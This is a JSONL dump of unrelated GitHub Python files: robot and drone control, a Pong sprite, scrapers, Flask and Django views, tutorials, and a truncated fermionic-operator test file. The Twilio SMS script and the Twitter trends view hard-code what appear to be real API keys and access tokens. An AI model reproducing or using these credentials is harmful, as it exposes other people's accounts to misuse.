print(\"Please enter a valid number for the grip distance\")\n\n def setup_controls(self):\n # Setup control buttons with event handlers\n self.left_button.clicked.connect(self.move_left)\n self.forward_button.clicked.connect(self.move_forward)\n self.right_button.clicked.connect(self.move_right)\n self.backward_button.clicked.connect(self.move_backward)\n\n def move_left(self):\n print(\"Moving left\")\n youbot.set_rotation_in_place(-15, DEFAULT_ANGULAR_SPEED)\n\n def move_forward(self):\n print(\"Moving forward\")\n youbot.move(SPEED, DURATION)\n\n def move_right(self):\n print(\"Moving right\")\n youbot.set_rotation_in_place(15, DEFAULT_ANGULAR_SPEED)\n\n def move_backward(self):\n print(\"Moving backward\")\n youbot.move(-SPEED, DURATION)\n\n def stop(self):\n print(\"Stopping\")\n # Code to stop the robot\n youbot.stop()\n\n\ndef run():\n app = QApplication(sys.argv)\n main_window = MainWindow()\n sys.exit(app.exec_())\n\n\nif __name__ == '__main__':\n run()\n","repo_name":"vik000/youbot_control","sub_path":"gui/pyqt_layout.py","file_name":"pyqt_layout.py","file_ext":"py","file_size_in_byte":6553,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"36383942683","text":"from djitellopy import Tello\nimport cv2\nfrom main.module.params.PIDParams import PIDParams\nfrom main.module.params.RangeParams import RangeParams\nfrom main.module.params.CamParams import CamParams\nfrom main.module.tello.TrackingTello import TrackingTello\nfrom main.module.handler.FigureHandler import FigureHandler\nfrom main.module.handler.QRHandler import QRHandler\nclass QRDetectionTello:\n\n def __init__(\n self,\n tello: Tello,\n cam_params: CamParams,\n range_params: RangeParams,\n pid_params: PIDParams\n ):\n self.tello: Tello = tello\n self.cam_params: CamParams = cam_params\n self.range_params: RangeParams = range_params\n self.tracking_tello: TrackingTello = TrackingTello(self.tello, range_params, pid_params, cam_params)\n self.figure_handler: FigureHandler = FigureHandler()\n self.qr_handler: QRHandler = QRHandler()\n\n\n\n def tello_detection_qr(self, brightness=0):\n \"\"\"\n Tello를 인자로 받아서 이미지를 얻어낸 후 qr이 있다면 감지 후 contour 그리기\n (qr 코드를 중앙에 맞추는 코드를 구현했으나 필요성을 못 느껴 코드 전에 break 넣음)\n :return: 없음\n \"\"\"\n p_error = 0\n cam_width = self.cam_params.width\n cam_height = self.cam_params.height\n while True:\n frame_read = self.tello.get_frame_read()\n my_frame = frame_read.frame\n img = cv2.resize(my_frame + brightness, (cam_width, cam_height))\n barcode_info, img = self.qr_handler.read_img(img)\n cv2.imshow(\"QR detection\", img)\n contour_info = barcode_info[:4]\n barcode = barcode_info[4]\n if barcode is None:\n continue\n else:\n print(barcode.data.decode('utf-8'))\n break\n # 객체 가운데로\n success, p_error = self.tracking_tello.track_figure_with_rotate(self.tello, contour_info, pid, p_error)\n if success:\n barcode_info = barcode.data.decode('utf-8')\n print(barcode_info)\n break\n # q를 누르면 무한 반복에서 빠져나옴\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n cv2.destroyAllWindows()\n self.tello.send_rc_control(0, 0, 0, 0)\n\n def move_until_find_qr(self, direction, brightness=0):\n \"\"\"\n 원하는 색상의 도형을 찾을 때까지 회전\n :return: 없음\n \"\"\"\n cnt = 0\n cam_width = self.cam_params.width\n cam_height = self.cam_params.height\n while cnt < 4:\n velocity = [0, 0, 0, 0] # send_rc_control의 인자로 들어갈 값.\n frame_read = self.tello.get_frame_read()\n myFrame = frame_read.frame\n img = cv2.resize(myFrame + brightness, (cam_width, cam_height))\n barcode_info, img = self.qr_handler.read_img(img)\n cv2.imshow(\"QR detection\", img)\n contour_info = barcode_info[:4]\n barcode = barcode_info[4]\n cv2.imshow(\"asdf\", img)\n x, y, w, h = contour_info\n if (\n cam_width * (0.5 - self.range_params.find_range_percentage) <= x + w // 2 <= cam_width * (0.5 + self.range_params.find_range_percentage)\n and cam_height * (0.5 - self.range_params.find_range_percentage) <= y + h // 2 <= cam_height * (0.5 + self.range_params.find_range_percentage)\n and barcode is not None\n and w * h > self.range_params.min_area\n ):\n cnt += 1\n self.tello.send_rc_control(0, 0, 0, 0)\n break\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n v = 20\n if direction.value % 2 == 1: # 홀수라면 음수로 바꿈\n v = -v\n velocity[direction.value // 2] = v\n self.tello.send_rc_control(*velocity)\n print(\"감지 \")\n self.tello.send_rc_control(0, 0, 0, 0)\n cv2.destroyAllWindows()","repo_name":"ezcolin2/tello-edu","sub_path":"main/module/tello/detection/QRDetectionTello.py","file_name":"QRDetectionTello.py","file_ext":"py","file_size_in_byte":4143,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"41042506203","text":"import pygame\nimport math\nimport random\nimport numpy as np\nfrom utils.colors import *\nfrom utils.navigation import *\nfrom utils.resources import *\nfrom model.circuit_grid_model import CircuitGridNode\nfrom model import circuit_node_types as node_types\n\nLEFT_EDGE=50\nTOP_EDGE=0\n\nclass Ball(pygame.sprite.Sprite):\n def __init__(self):\n super().__init__()\n\n self.image = pygame.Surface([10, 10])\n\n self.image.fill(WHITE)\n\n self.rect = self.image.get_rect()\n\n self.screenheight = 500\n self.screenwidth = 1000\n\n self.RIGHT_EDGE = self.screenwidth + LEFT_EDGE\n\n self.height = 10\n self.width = 10\n\n self.x = 0\n self.y = 0\n self.speed = 0\n self.direction = 0\n\n self.ball_reset()\n\n def update(self):\n radians = math.radians(self.direction)\n\n self.x += self.speed * math.sin(radians)\n self.y -= self.speed * math.cos(radians)\n\n if self.x < LEFT_EDGE:\n self.ball_reset()\n if self.x > self.RIGHT_EDGE:\n self.ball_reset()\n\n # Update ball position\n self.rect.x = self.x\n self.rect.y = self.y\n\n if self.y <= TOP_EDGE + self.height:\n self.direction = (180-self.direction) % 360\n if self.y > self.screenheight - 2*self.height:\n self.direction = (180-self.direction) % 360\n\n def ball_reset(self):\n self.x = LEFT_EDGE+50\n self.y = self.screenheight/2\n\n self.speed = 8.0\n self.direction = random.randrange(30, 60)\n\n def bounce_edge(self):\n self.direction = (360-self.direction) % 360\n\n self.speed *= 1.1\n\n def get_xpos(self):\n xpos = self.x\n return xpos\n\n def get_ypos(self):\n ypos = self.y\n return ypos\n\n # 1 = comp, 2 = player, none = 0\n def if_edge(self):\n if LEFT_EDGE+30 >self.x > LEFT_EDGE+20:\n return 5\n if self.x < LEFT_EDGE+15:\n return 1\n if self.x > self.RIGHT_EDGE-15:\n return 2\n if self.RIGHT_EDGE-30 < self.x < self.RIGHT_EDGE-15:\n return 3\n else:\n return 0\n\n def check_score(self):\n if self.x < LEFT_EDGE:\n return 1\n if self.x > self.RIGHT_EDGE:\n return 2\n else:\n return 0\n","repo_name":"JavaFXpert/quantum-pong","sub_path":"utils/ball.py","file_name":"ball.py","file_ext":"py","file_size_in_byte":2319,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"31"} +{"seq_id":"40590774592","text":"# -*- coding: UTF-8 -*-\n#记录日志文件\nimport time\nimport pykdPackage\n\ndef logBinary(fineName,addrStart,size):\n '从addrStart拷贝size个字节，以二进制的形式'\n strtime = time.ctime()\n strtime = strtime.replace(':', ' ')\n fileNameTemp = '%s.bin' % strtime\n fileNameTemp=fineName+fileNameTemp\n dump = pykdPackage.loadBytes(int(addrStart, 16), int(size, 16))\n f = open(fileNameTemp, 'wb+')\n for a in dump:\n xx = int(a)\n b = chr(xx)\n f.write(b)\n f.close()\n\ndef logStr(fileName,content):\n '把content写入到fileName日志文件中'\n f = open(fileName, 'a')\n content=str(content)+'\\n'\n f.write(content)\n f.close()\n","repo_name":"iam0xcc/PycharmPykd","sub_path":"windbgPy/Log.py","file_name":"Log.py","file_ext":"py","file_size_in_byte":689,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"39773167828","text":"from twilio.rest import TwilioRestClient\nimport argparse\nimport sys\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"-m\", \"--message\", help=\"Specify message to send. If not specified, message is read from stdin\")\nparser.add_argument(\"-n\", \"--number\", help=\"Specify number of recepient. If not specified, number is read from stdin\")\nparser.add_argument(\"-d\", \"--dry-run\", action=\"store_true\", help=\"If specified, doesn't actually send the message\")\nargs = parser.parse_args(sys.argv[1:])\n \nbody = args.message if args.message is not None else input(\"Enter message to send: \")\nto_number = args.number if args.number is not None else input(\"Enter number to send to: \")\n\n\nACCOUNT_SID = \"ACbaca90abfe93b3a0c75a44d71ed1e0c2\"\nAUTH_TOKEN = \"8b1c193701c6f7332f669d1448ddbc68\"\n\nclient = TwilioRestClient(ACCOUNT_SID, AUTH_TOKEN)\n\nif not args.dry_run:\n client.messages.create(to=to_number, from_=\"+19182387039\", body=body)\nelse:\n print(\"not sending message {} to {}\".format(body, to_number))\n","repo_name":"matthew-eads/RecordRight","sub_path":"RRSMS/send_reminder.py","file_name":"send_reminder.py","file_ext":"py","file_size_in_byte":998,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"13756553076","text":"# -*- coding: utf-8 -*-\nimport pandas as pd\n#%% What is a 'function'\n'''\n1. Function is one kind of process or a group of processes.\n\n2. Function takes ingredients, in programming we called them 'inputs', \n do something(some processes we have defined when we created the fucntion) on the ingredients, \n and generate the results, we call them 'outputs'.\n \n3. Function can pack a group of process into one process, because sometimes we just don't care some details.\n e.g. \n When doing standalization, we know that we need to: \n 1. calculate the mean\n 2. calculate the standard deviation\n 3. calculate z = (x-mean)/std\n It actually contains three steps, but what we really care is the result(z).\n So we can pack the three steps above into one:\n 1. calculate z\n The details, how to calculate, we hide them into a function.\n \n4. When every process in the function is done, \n Python will only remember/store the 'outputs' and forget/delete everything you do inside the function.\n \n5. We can give function a 'name', any name you want.\n e.g.\n The whole process is standalizing the data; we can call the function 'standarlize'.\n'''\n\n#%% How to make/define a 'function'?\n'''\ndef func_name(input):\n .......\n .......\n .......\n return output\n'''\n\n#%% How to use/call a 'function'?\n'''\noutput = func_name(input)\n'''\n\n#%% When do we need a 'function'?\n'''\n1. When the process we need to be used more than once.\n No one wants to write the same code for the same process everytime.\n \n2. When you want to make your main code section look very clean, concise, and tidy.\n'''\n\"The following two section do the same thing; only to compare the length of the main code section\"\n#---1. Without function\n##-----main code--------\nimport statistics as st\ndata_1 = [2,4,6,8,10,12]\ndata_2 = [1,3,5,7,9,11]\n\nmean_1 = st.mean(data_1)\nstd_1 = st.stdev(data_1)\nresult_1 = []\nfor i in data_1:\n result_1.append((i-mean_1)/std_1)\n \nmean_2 = st.mean(data_2)\nstd_2 = st.stdev(data_2)\nresult_2 = []\nfor i in data_2:\n result_2.append((i-mean_2)/std_2)\n##-----------------------\n \n#---2. With function\nimport statistics as st\ndef standarlize(data):\n result = []\n mean = st.mean(data)\n std = st.stdev(data)\n for i in data:\n result.append((i-mean)/std)\n return result\n##-----main code--------\ndata_1 = [2,4,6,8,10,12]\ndata_2 = [1,3,5,7,9,11]\n\nresult_1 = standarlize(data_1)\nresult_2 = standarlize(data_2)\n##----------------------\n \n\n#%% Why do we need a 'function'?\n'''\n1. To Make code consise, clean, and more readable.\n\n2. To use less memory than without it. \n As we mentioned, functionn will not storage anything except outputs; \n so any variable we created or any memory space we used inside the function will be release after the function is finished.\n\n3. Make some frequently used processes easy to access anytime we want them.\n e.g. calculate the standard deviation\n'''\n\n#%% Where do we use a 'function'?\n'''\n1. Where we find out that we keep writing similiar code over and over, convert them into fucntion.\n\n2. Where the details are not important, i.e. only caring about the results, convert it into function.'''","repo_name":"chienchunliao/Python-Materials","sub_path":"additional material/function_additional material.py","file_name":"function_additional material.py","file_ext":"py","file_size_in_byte":3209,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"3813909663","text":"from django.shortcuts import render\nimport tweepy\nfrom .forms import Country,Tweet\nconsumer_key = \"HNPoEf2wfLgr8BLNvELQ57QBx\"\nconsumer_secret = \"LwNnY7F3R5cDQXl8F0jvWWWjiuB9LLT2yGfYjcnNmohghiVyYL\"\naccess_token = \"1431351007825444864-ZYg7cRy8FTjxVEABGeDhSWReyHvkAe\"\naccess_token_secret = \"4J2uw8OsWHKWf2r13Skn59CfrMscJbRtjMiRIPvNzYk6y\"\n\nauth = tweepy.OAuthHandler(consumer_key, consumer_secret)\nauth.set_access_token(access_token, access_token_secret)\n\napi = tweepy.API(auth)\ntranding = [\n [\"req trending\", \"/twitter?type=trending&place=indonesia\"], \n [\"res not availabe route\", \"html response, back to '/' route\"], \n [\"res not available place\", {\n \"message\": \"not found\", \n \"status\": 400}], \n [\"res success \",{\n \"data\": \"response data tranding twitter\", \n \"message\": \"response Message\", \n \"status\": \"response status\"\n }]\n ]\n\nuser= [\n [\"req user\",\"/twitter?type=user&name=jokowi\"], \n [\"res not found user\",{\n \"message\": \"Not found user\", \n \"status\": 500}], \n [\"res success\",{\n \"data\": \"response data profile twitter\", \n \"message\": \"response message\", \n \"status\": 200\n }]\n ]\ntweet = [\n [\"req tweet\", \"/twitter?type=tweet&tweet=vcs&length=50\"], \n [\"res fail\",{\n \"message\": \"response message\", \n \"status\": 500\n }], \n [\"res success\",{\n \"data\": \"array tweet dengan panjang, berdasarkan length. jika legth kotong default 10, max = 100\", \n \"messages\": \"response message\", \n \"status\": 200\n }]\n]\n\ntweetId = [\n [\"req tweetby id\",\"/twitter?type=tweet&id=1438491648699236357\"], \n [\"res fail\",{\n \"message\": \"response message\", \n \"status\": 500\n }], \n [\"res success\",{\n \"data\": \"data tweet by id\", \n \"message\": \"response message\", \n \"status\": 200\n }]\n]\n# Create your views here.\ndef index(request):\n context={\n \"twitter\" : [\n {\n \"value\" : tranding,\n \"name\" : \"Get Tranding Twitter\"\n },\n {\n \"value\" : user,\n \"name\" : \"Get User Twitter\"\n },\n {\n \"value\" : tweet,\n \"name\" : \"Get Tweet Twitter\"\n },\n {\n \"value\" : tweetId,\n \"name\" : \"Get Tweet by ID\"\n }\n ]\n }\n return render(request,\"twitter/index.html\",context)\n\ndef tranding(request):\n context = {\n \"country_form\" : Country\n }\n x = api.trends_available()\n context[\"tranding\"] = x\n if request.method == \"POST\":\n country = request.POST[\"country\"]\n country = country.title()\n for i in x:\n if(i[\"name\"] == country):\n y = api.trends_place(i[\"woeid\"])\n print(i[\"woeid\"])\n context[\"country\"] = y\n return render(request,\"twitter/tranding.html\",context)\n\ndef tweet(request):\n context={\n \"tweet_form\" : Tweet\n }\n if request.method == \"POST\":\n tweet = request.POST[\"tweet\"]\n tw = tweepy.Cursor(api.search,\n q=tweet,\n lang=\"in\",\n ).items(100)\n data = []\n for i in tw:\n print(\"========================================\")\n data.append(i._json)\n context[\"tweet\"] = data\n return render(request,\"twitter/tweet.html\",context)","repo_name":"fakhrilak/django-tailwin","sub_path":"twitter/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3339,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"18636573618","text":"import csv\nimport json\nimport time\nimport openpyxl\nfrom selenium import webdriver\nfrom selenium.webdriver.chrome.service import Service\nfrom selenium.webdriver.support.wait import WebDriverWait\nfrom webdriver_manager.chrome import ChromeDriverManager\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support import expected_conditions as EC\nimport re\nfrom auction_scraper_base import get_property_type, prepare_price, get_bedroom, get_tenure\n\n\nclass BondWolfAuction:\n driver: webdriver.Chrome\n\n def __init__(self):\n service = Service(executable_path=ChromeDriverManager().install())\n self.driver = webdriver.Chrome(service=service)\n\n def property_scraper(self, property_link):\n self.driver.get(property_link)\n\n image_link = self.driver.find_element(By.XPATH, \"(//div[@class='slick-track']//img)[1]\").get_attribute('src')\n\n guidePrice = self.driver.find_element(By.XPATH, \"//h2[contains(@class,'PropertyHeader-price-value')]\").text\n price, currency = prepare_price(guidePrice)\n\n description = self.driver.find_element(By.XPATH, \"//div[contains(@class,'Content px-2 px-md-0')]\").text\n\n title = self.driver.find_element(By.XPATH, \"//div[contains(@class,'PropertyHeader-description ')]\").text\n\n address = self.driver.find_element(By.XPATH, \"//div[contains(@class,'PropertyHeader-description ')]/h1\").text\n postal_code = address.split(',')[-1]\n\n tenure = self.driver.find_element(By.XPATH, \"(//div[contains(@class,'my-4')])[4]\").text\n\n numbers_of_bedrooms = self.driver.find_element(By.XPATH,\n \"(//div[contains(@class,'PropertyHeader-description ')]/p)[2]\").text\n number_of_bedrooms = get_bedroom(numbers_of_bedrooms)\n\n if number_of_bedrooms is None:\n number_of_bedrooms = get_bedroom(title)\n\n property_type = get_property_type(description)\n\n if property_type == \"other\" and \"land\" in address.lower():\n property_type = \"land\"\n if \"land\" in address.lower():\n address = re.search(r\"(?<= to ).*|(?<= of ).*|(?<= at ).*\", address, re.IGNORECASE)\n if address:\n address = address.group().strip()\n\n if not tenure:\n tenure = get_tenure(description)\n\n data_hash = {\n \"price\": price,\n \"currency_type\": currency,\n \"picture_link\": image_link,\n \"property_description\": description,\n \"property_link\": property_link,\n \"address\": address,\n \"postal_code\": postal_code,\n \"auction_venue\": \"online\",\n \"source\": \"auctionhouselondon\",\n \"property_type\": property_type,\n \"number_of_bedrooms\": number_of_bedrooms,\n \"tenure\": tenure,\n \"title\": title\n }\n print(data_hash)\n return data_hash\n\n def properties_scraper(self):\n auction_divs = []\n max_retries = 50\n button_clicking = 0\n while button_clicking < max_retries:\n try:\n load_more_button = WebDriverWait(self.driver, 10).until(\n EC.presence_of_element_located((By.XPATH, \"//button[contains(text(), 'Load more')]\")))\n self.driver.execute_script(\"\"\"\n arguments[0].scrollIntoView({\n behavior: 'auto',\n block: 'center',\n inline: 'center'\n });\n \"\"\", load_more_button)\n time.sleep(3)\n if load_more_button.is_displayed():\n load_more_button.click()\n time.sleep(1)\n button_clicking += 1\n else:\n break\n except:\n break\n\n workbook = openpyxl.Workbook()\n worksheet = workbook.active\n csv_fh = open('bond_wolf_selenium.csv', mode='w', newline='', encoding='utf8')\n json_fh = open(\"bond_wolf_selenium.json\", \"w\", encoding='utf8')\n csv_writer = csv.writer(csv_fh)\n\n for auction_divs_href in self.driver.find_elements(By.XPATH,\n \"//p[.='Guide price']//parent::*//parent::*//parent::*\"\n \"//parent::a\"):\n auction_property = auction_divs_href.get_attribute('href')\n print(auction_property)\n auction_divs.append(auction_property)\n list_dict = []\n\n for property_link in auction_divs:\n result_dict = self.property_scraper(property_link)\n\n result_list = list(result_dict.values())\n worksheet.append(result_list)\n csv_writer.writerow(result_list)\n list_dict.append(result_dict)\n workbook.save(\"bond_wolf_selenium.xlsx\")\n\n json_result = json.dumps(list_dict)\n json_fh.write(json_result)\n json_fh.close()\n\n def run(self):\n self.driver.get(\"https://www.bondwolfe.com/auctions/properties/?location=&minprice=&maxprice=&type=\")\n self.properties_scraper()\n\n\nauction = BondWolfAuction()\nauction.run()\n\n","repo_name":"sheikhzain260/Auction-Scrapers-","sub_path":"Bond Wolf/bond_wolf_selen.py","file_name":"bond_wolf_selen.py","file_ext":"py","file_size_in_byte":5358,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"70312019929","text":"\"\"\" Defines the neural net class DriftResNet. \"\"\"\n\nimport torch\nimport torch.nn as nn\n\nclass DriftResNet(nn.Module):\n \"\"\"\n Initialize to have a simple OU restoring drift\n \"\"\"\n def __init__(self, hparams):\n super(DriftResNet, self).__init__()\n D = hparams.D\n H = hparams.H\n\n lin1 = nn.Linear(D, H)\n lin2 = nn.Linear(H, H)\n lin3 = nn.Linear(H, D)\n\n lin3.weight.data = torch.zeros(D, H)\n lin3.bias.data = torch.zeros(D)\n\n self.layers = nn.Sequential(lin1, nn.Hardtanh(), lin2, nn.Hardtanh(), lin3)\n\n self.res = nn.Linear(D, D, bias=False)\n self.res.weight.data = - torch.eye(D) # Drift is restoring\n\n def forward(self, x):\n residual = x\n out = self.layers(x)\n out += self.res(residual)\n return out\n","repo_name":"AustenLamacraft/QuaRL","sub_path":"continuum/nets/driftresnet.py","file_name":"driftresnet.py","file_ext":"py","file_size_in_byte":816,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"31"} +{"seq_id":"36586413690","text":"from flask import Flask, Blueprint, request, Response\nfrom config import mongo_db\nfrom bson.json_util import dumps\n\ngrupos_routes = Blueprint(\n \"grupos\",\n __name__,\n url_prefix=\"/grupos\"\n)\n\n\n@grupos_routes.route(\"\", methods=[\"PATCH\"])\ndef updateGrupo():\n try:\n grupo = request.get_json()\n updated = mongo_db.grupo.update_one(\n { \"name\": grupo['name'] },\n { \"$set\": grupo }\n )\n if updated.modified_count:\n response = {\"message\": \"Grupo '%s' atualizado com sucesso! \"%(grupo[\"name\"]) }\n return Response(dumps(response), status=200, content_type=\"application/json\")\n elif updated.matched_count:\n response = {\"message\": \"Grupo '%s' encontrado, mas não foi modificado. \"%(grupo[\"name\"]) }\n return Response(dumps(response), status=400, content_type=\"application/json\")\n else:\n response = {\"message\": \"Grupo '%s' não encontrado. \"%(grupo[\"name\"]) }\n return Response(dumps(response), status=404, content_type=\"application/json\")\n\n except Exception as e:\n return \"Erro: %s\"%(e)\n\n\n\n@grupos_routes.route(\"\", methods=[\"POST\"])\ndef postGrupos():\n try:\n grupo = request.get_json()\n mongo_db.grupo.insert_one(\n {\n \"name\" : grupo[\"name\"],\n \"integrantes\" : [] \n }\n )\n response = {\n \"message\": \"Grupo '%s' criado com sucesso!\" % (grupo[\"name\"])\n }\n return Response(dumps(response), status=201, content_type=\"application/json\")\n except Exception as e:\n return \"Erro: %s \" % (e)\n\n\n\n@grupos_routes.route(\"\")\ndef getGrupos():\n try:\n grupos = mongo_db.grupo.find()\n return Response(dumps(grupos), status=200, content_type=\"application/json\")\n except Exception as e:\n return \"Erro: %s\"%(e)\n\n return \"Lista de grupos\"\n\n\n\n@grupos_routes.route(\"\", methods=[\"DELETE\"])\ndef deleteGrupo():\n try:\n grupo = request.get_json()\n deleted = mongo_db.grupo.delete_one(\n { \"name\": grupo['name'] } \n )\n if deleted.deleted_count:\n response = {\"message\": \"Grupo '%s' removido com sucesso! \"%(grupo[\"name\"]) }\n return Response(dumps(response), status=200, content_type=\"application/json\")\n else:\n response = {\"message\": \"Grupo '%s' não encontrado. \"%(grupo[\"name\"]) }\n return Response(dumps(response), status=404, content_type=\"application/json\")\n\n except Exception as e:\n return \"Erro: %s\"%(e)\n","repo_name":"cadilles/curso-python","sub_path":"4521-python/HandsOn/code/grupos/blueprint.py","file_name":"blueprint.py","file_ext":"py","file_size_in_byte":2590,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"26654879718","text":"'''\nhttps://codeup.kr/problem.php?id=5024\n'''\nN, C = map(int,input().split())\nary = []\nfor i in range(N):\n ary.append(int(input()))\n\nary.sort()\nans = 0\nleft, right = 0, ary[-1] - ary[0]\n\nwhile left <= right:\n mid = (left + right) // 2\n\n perv = ary[0]\n\n cnt = 1\n\n for cow in ary[1:]:\n dis = cow - perv\n if dis <= mid:\n pass\n else:\n perv = cow\n cnt += 1\n \n if cnt >= C:\n ans = max(ans, mid)\n left = mid + 1\n else:\n right = mid - 1\n\nprint(ans + 1)","repo_name":"mixify/algorithm","sub_path":"python/공격적인소들.py","file_name":"공격적인소들.py","file_ext":"py","file_size_in_byte":543,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"17559551422","text":"#!/usr/bin/python3\n\n#tuple - immutable \n#list - mutable\n#dict - associate array\n\ndef main():\n t = (1,)\n t = (1,2,3)\n t = tuple(range(25))\n t[10] = 10 #bad\n 10 in t\n 50 in t\n 50 not in t\n for i in t : print(t)\n l = [1]\n l = [1,2,3]\n l = list(range(25))\n l[10] = 100 #ok\n 10 in l\n 20 in l\n for i in l : print(i)\n l.count(5)\n l.index(5)\n l.append(101)\n len(l)\n l.extend(range(20)) #extend any iterable object\n len(l)\n l.insert(0, 25)\n l.remove(12)\n del l[12]\n x.pop()\n x.pop(0) #pop the beginning\n d = {'one' : 1, 'two': 2, 'three':3}\n d = dict(one=1, two=2, three=3) #constructor, easier to create dict object\n for k in d: print(k)\n for k, v in d.items() : print(k, v)\n d['three'] #bad good, if no key, get exception\n d.get('three') #good way\n d.get('three', 'not found')\n del x['four']\n x.pop('five')\n #bytes and byte array (one byte=8-bit of data)\n \n \n\nif __name__ == \"__main__\": main()\n","repo_name":"zhjohn925/Python3EssentialTraining","sub_path":"14 Containers/containers.py","file_name":"containers.py","file_ext":"py","file_size_in_byte":1003,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"18090923087","text":"\"\"\" Upgrade steps for Products.EEAPloneAdmin\n\"\"\"\n\nfrom Products.CMFCore.utils import getToolByName\n\n\ndef add_workflow_properties(context):\n \"\"\" #135801 add workflow states and transitions where EffectiveDate is set\n if no value is set to the field\n \"\"\"\n pprop = getToolByName(context, 'portal_properties')\n sprops = pprop.get('site_properties')\n sprops._setProperty('pub_date_set_on_workflow_transition_or_state',\n ['publish'], 'lines')\n","repo_name":"eea/Products.EEAPloneAdmin","sub_path":"Products/EEAPloneAdmin/upgrades/evolve.py","file_name":"evolve.py","file_ext":"py","file_size_in_byte":480,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"75087023446","text":"import unittest\nimport numpy as np\nfrom scipy import sparse\nimport qib\n\n\nclass TestFieldOperator(unittest.TestCase):\n\n def test_fermi_field_operator(self):\n \"\"\"\n Test fermionic field operator functionality.\n \"\"\"\n rng = np.random.default_rng()\n\n for pbc in [False, True]:\n # construct fermionic reference Hamiltonian\n lattsize = (3, 4)\n # onsite energy coefficients\n μ = rng.random(lattsize)\n # hopping and superconducting pairing coefficients\n # (last dimension corresponds to hopping in x- or y-direction)\n t = rng.random(lattsize + (2,))\n Δ = rng.random(lattsize + (2,))\n # reference Hamiltonian\n Href = construct_tight_binding_hamiltonian(μ, t, Δ, pbc=pbc)\n # must be symmetric\n self.assertEqual(sparse.linalg.norm(Href - Href.conj().T), 0)\n\n # construct fermionic field operator\n latt = qib.lattice.IntegerLattice(lattsize, pbc=pbc)\n adj_x = latt.adjacency_matrix_axis_shift(0, -1)\n adj_y = latt.adjacency_matrix_axis_shift(1, -1)\n field = qib.field.Field(qib.field.ParticleType.FERMION, latt)\n # onsite term\n onsite_term = qib.operator.FieldOperatorTerm(\n [qib.operator.IFODesc(field, qib.operator.IFOType.FERMI_CREATE),\n qib.operator.IFODesc(field, qib.operator.IFOType.FERMI_ANNIHIL)],\n np.diag(-μ.reshape(-1)))\n self.assertTrue(onsite_term.is_hermitian())\n # kinetic term\n tcoeffs = -(np.diag(t[:, :, 0].reshape(-1)) @ adj_x\n + np.diag(t[:, :, 1].reshape(-1)) @ adj_y)\n tcoeffs = tcoeffs + tcoeffs.T\n kinetic_term = qib.operator.FieldOperatorTerm(\n [qib.operator.IFODesc(field, qib.operator.IFOType.FERMI_CREATE),\n qib.operator.IFODesc(field, qib.operator.IFOType.FERMI_ANNIHIL)],\n tcoeffs)\n self.assertTrue(kinetic_term.is_hermitian())\n # superconducting pairing term\n Δcoeffs = (np.diag(Δ[:, :, 0].reshape(-1)) @ adj_x\n + np.diag(Δ[:, :, 1].reshape(-1)) @ adj_y)\n Δcoeffs = [Δcoeffs, Δcoeffs.T]\n sc_terms = [\n qib.operator.FieldOperatorTerm(\n [qib.operator.IFODesc(field, qib.operator.IFOType.FERMI_ANNIHIL),\n qib.operator.IFODesc(field, qib.operator.IFOType.FERMI_ANNIHIL)],\n Δcoeffs[0]),\n qib.operator.FieldOperatorTerm(\n [qib.operator.IFODesc(field, qib.operator.IFOType.FERMI_CREATE),\n qib.operator.IFODesc(field, qib.operator.IFOType.FERMI_CREATE)],\n Δcoeffs[1])]\n self.assertFalse(sc_terms[0].is_hermitian())\n self.assertFalse(sc_terms[1].is_hermitian())\n H = qib.FieldOperator([onsite_term, kinetic_term, sc_terms[0], sc_terms[1]])\n # compare\n self.assertAlmostEqual(sparse.linalg.norm(H.as_matrix() - Href), 0)\n\n def test_adjoint(self):\n \"\"\"\n Test construction of the adjoint (conjugate transpose) field operator.\n \"\"\"\n rng = np.random.default_rng()\n # underlying lattice\n L = 5\n latt = qib.lattice.FullyConnectedLattice((L,))\n field = qib.field.Field(qib.field.ParticleType.FERMION, latt)\n term1 = qib.operator.FieldOperatorTerm(\n [qib.operator.IFODesc(field, qib.operator.IFOType.FERMI_CREATE),\n qib.operator.IFODesc(field, qib.operator.IFOType.FERMI_ANNIHIL)],\n 0.5 * qib.util.crandn((L, L), rng))\n term2 = qib.operator.FieldOperatorTerm(\n [qib.operator.IFODesc(field, qib.operator.IFOType.FERMI_ANNIHIL),\n qib.operator.IFODesc(field, qib.operator.IFOType.FERMI_CREATE),\n qib.operator.IFODesc(field, qib.operator.IFOType.FERMI_ANNIHIL)],\n 0.5 * qib.util.crandn((L, L, L), rng))\n term3 = qib.operator.FieldOperatorTerm(\n [qib.operator.IFODesc(field, qib.operator.IFOType.FERMI_CREATE)],\n 0.5 * qib.util.crandn((L,), rng))\n op = qib.FieldOperator([term1, term2, term3])\n self.assertAlmostEqual(\n sparse.linalg.norm(op.as_matrix().conj().T - op.adjoint().as_matrix()), 0, delta=1e-12)\n\n def test_multiply(self):\n \"\"\"\n Test logical multiplication of two field operators.\n \"\"\"\n rng = np.random.default_rng()\n # underlying lattice\n L = 5\n latt = qib.lattice.FullyConnectedLattice((L,))\n field = qib.field.Field(qib.field.ParticleType.FERMION, latt)\n term1 = qib.operator.FieldOperatorTerm(\n 